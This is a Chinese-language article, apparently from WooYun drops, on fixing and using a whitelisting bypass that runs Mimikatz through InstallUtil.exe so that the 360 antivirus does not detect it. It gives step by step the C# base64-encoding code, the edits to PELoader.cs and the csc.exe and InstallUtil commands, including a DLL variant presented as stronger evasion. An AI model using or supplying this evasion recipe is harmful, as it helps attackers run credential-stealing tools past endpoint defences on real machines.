0162-利用白名单绕过360实例

# 利用白名单绕过360实例

0x00 前言
=======

* * *

最近`subTee`在其博客中介绍了如何利用白名单绕过防护,但细节存在`bug`,所以本文仅介绍如何修复其`bug`并利用该方法绕过`360`,更多利用方法值得探索

博客链接:

[http://subt0x10.blogspot.hk/](http://subt0x10.blogspot.hk/)(需翻墙)

文章地址:

[http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html](http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html)(需翻墙)

0x01 测试目标
=========

下载最新版本`Mimikatz`,实现绕过杀毒软件的查杀。

0x02 测试环境
=========

* * *

操作系统:`Win7 x64`

mimikatz版本:`2.0 alpha 20150906 (oe.eo) edition`(目前为止最新)

下载链接:[https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906](https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906)

测试日期:9/14/2015

0x03 实际测试
=========

* * *

建议先了解参考链接,链接中提到的相关基础知识不做再次介绍

### 1、下载最新mimikatz,测试查杀情况

毫无疑问,被查杀,如图

![enter image description here](http://drops.javaweb.org/uploads/images/69796d8ae21d3964223258558a4293054caf4c04.jpg)

### 2、利用InstallUtil.exe执行程序

**(1)**下载[https://gist.github.com/subTee/00cdac8990584bd2c2fe](https://gist.github.com/subTee/00cdac8990584bd2c2fe)并保存为`PELoader.cs`

**(2)**参照博客中的示例,执行如下代码:

“`
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

“`

如图,生成`PELoader.exe`,然后通过`InstallUtil.exe`执行`PELoader.exe`

![enter image description here](http://drops.javaweb.org/uploads/images/391823870a22619e1324a908535b8c9fff2b3894.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/6a9025dd50d3e25f75df5ae25432d6992f6396d3.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/4e4c8a461d56fa0875ceacf644dd5592b15a9d07.jpg)

成功加载运行`mimikatz`

进程显示为`InstallUtil.exe`,如图

![enter image description here](http://drops.javaweb.org/uploads/images/3b7f2b78487d9aea67f75b8e2dbbaed16b2b4478.jpg)

**(3)**测试生成的`PELoader.exe`查杀情况

如图,360成功检测威胁

![enter image description here](http://drops.javaweb.org/uploads/images/4e454286d9efab58a98e83f8bec1c062a9dc5a37.jpg)

**(4)**尝试修改`PELoader.cs`

阅读代码发现`Line853-856`存储了`base64`加密后的mimikatz

![enter image description here](http://drops.javaweb.org/uploads/images/72f1b1b6879aa2048aa71a96a370f70ff001a010.jpg)

那么参照作者给出的修改方法修改

作者给出的修改方法如下:

“`
* Base64 Encode Mimikatz In PowerShell- $fileName = “mimikatz.exe” $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + “.b64″) *
[OR]
byte[] AsBytes = File.ReadAllBytes(@”C:\Tools\Mimikatz.exe”); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@”C:\Tools\Mimikatz.b64″); sw.Write(AsBase64String); sw.Close(); *

“`

**(5)**测试`Base64 Encode Mimikatz In PowerShell`

按照作者给出的方法对`mimikatz`作`base64`编码并保存在Mimikatz.b64文件中

如图

![enter image description here](http://drops.javaweb.org/uploads/images/62a2dd08114d53dd828ee1d26008bcd6ff766a27.jpg)

执行`Powershell`代码

执行后生成`Mimikatz.b64`,如图

![enter image description here](http://drops.javaweb.org/uploads/images/3018bee91f712e7cc1b881ce4c036f1e1f63d464.jpg)

打开将内容复制到`PELoader.cs`中的变量`KatzCompressed`的定义中,如图

![enter image description here](http://drops.javaweb.org/uploads/images/7786fdce990ac5f974fce448290f1df05da0ec57.jpg)

按照步骤(2)执行测试,发现错误,如图

![enter image description here](http://drops.javaweb.org/uploads/images/e44eb47297b0e129ed9a0268223bf1032c8250d1.jpg)

0x04 分析
=======

* * *

作者给出的实例代码如果无法修改,未免太鸡肋,必须找到修改方法,实现执行任意程序

0x05 解决方案
=========

* * *

在做了多次实验并研究代码后成功找到了错误原因:

`Powershell`作`base64`编码同`c#`对`base64`解码之间存在解析错误

解决步骤:

**(1)**使用c#对mimikatz作base64加密

代码如下:

“`
using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test1
{
class Program
{
static void Main(string[] args)
{
byte[] AsBytes = File.ReadAllBytes(@”C:\testcs\mimikatz.exe”);
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@”C:\testcs\mimikatz.b64″);
sw.Write(AsBase64String);
sw.Close();
}
}
}

“`

我使用的环境是`vs2012`,新建`c#`工程,填写以上代码,编译后运行,生成新的`mimikatz.b64`,如图

![enter image description here](http://drops.javaweb.org/uploads/images/86d2045f68a2e3422ea9cdcda2c4eb1bda13d76b.jpg)

细心的同学可以发现和之前使用`Powershell`生成的`mimikatz.b64`有所区别

**(2)**替换变量`KatzCompressed`的定义内容

如图

![enter image description here](http://drops.javaweb.org/uploads/images/d84ae1ac3b9785ad3b23c26b63c64642a549b36a.jpg)

**(3)**修改解密过程

定位`PELoader.cs`Line106,去掉

“`
byte[] decompressed = Decompress(FromBase64);

“`

在前面添加“//”即可,如图

![enter image description here](http://drops.javaweb.org/uploads/images/d0278d24192ad21ca4c7dfe8066780af1b562439.jpg)

**(4)**再次编译并利用`InstallUtil.exe`执行

“`
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

“`

如图

![enter image description here](http://drops.javaweb.org/uploads/images/ca348a465c8f6aae2db32110af8cb3896ee67f1d.jpg)

证明修改成功,能够顺利执行我们修改的代码

**(5)**增强免杀

采用如下生成步骤:

“`
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll

“`

如图

![enter image description here](http://drops.javaweb.org/uploads/images/2f056490953bffaca4271716c16c0d36ae6199e8.jpg)

也可以成功加载`mimikatz`

测试查杀情况

如图

![enter image description here](http://drops.javaweb.org/uploads/images/2d3bc24b82a046c328bab9a2418b7b0a60673f5e.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/151928a7b4bc53f760f75f600986868d91ed9c33.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/ea23c02e3cd17796543fab4fb23705b956558318.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/b0abe6404b2a2ab5e8e60c2da35691535ebbe4bc.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/f9e7b3d82026449e36e413c9f5f70511004b6363.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/4232c0a2c52cc276636e21d488bb276685a6e783.jpg)

**注:**测试全过程开启360,主动防御未触发

0x06 小结
=======

* * *

通过`InstallUtil.exe`执行程序的方法不仅可使程序逃过杀毒软件的查杀,更能够规避程序运行白名单的限制,其他操作系统下的情况有所不同,更多细节值得研究。

参照`zone`中大家的建议,希望这篇文章是大家喜欢看到的类型:)

本文由三好学生原创并首发于乌云drops,转载请注明

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容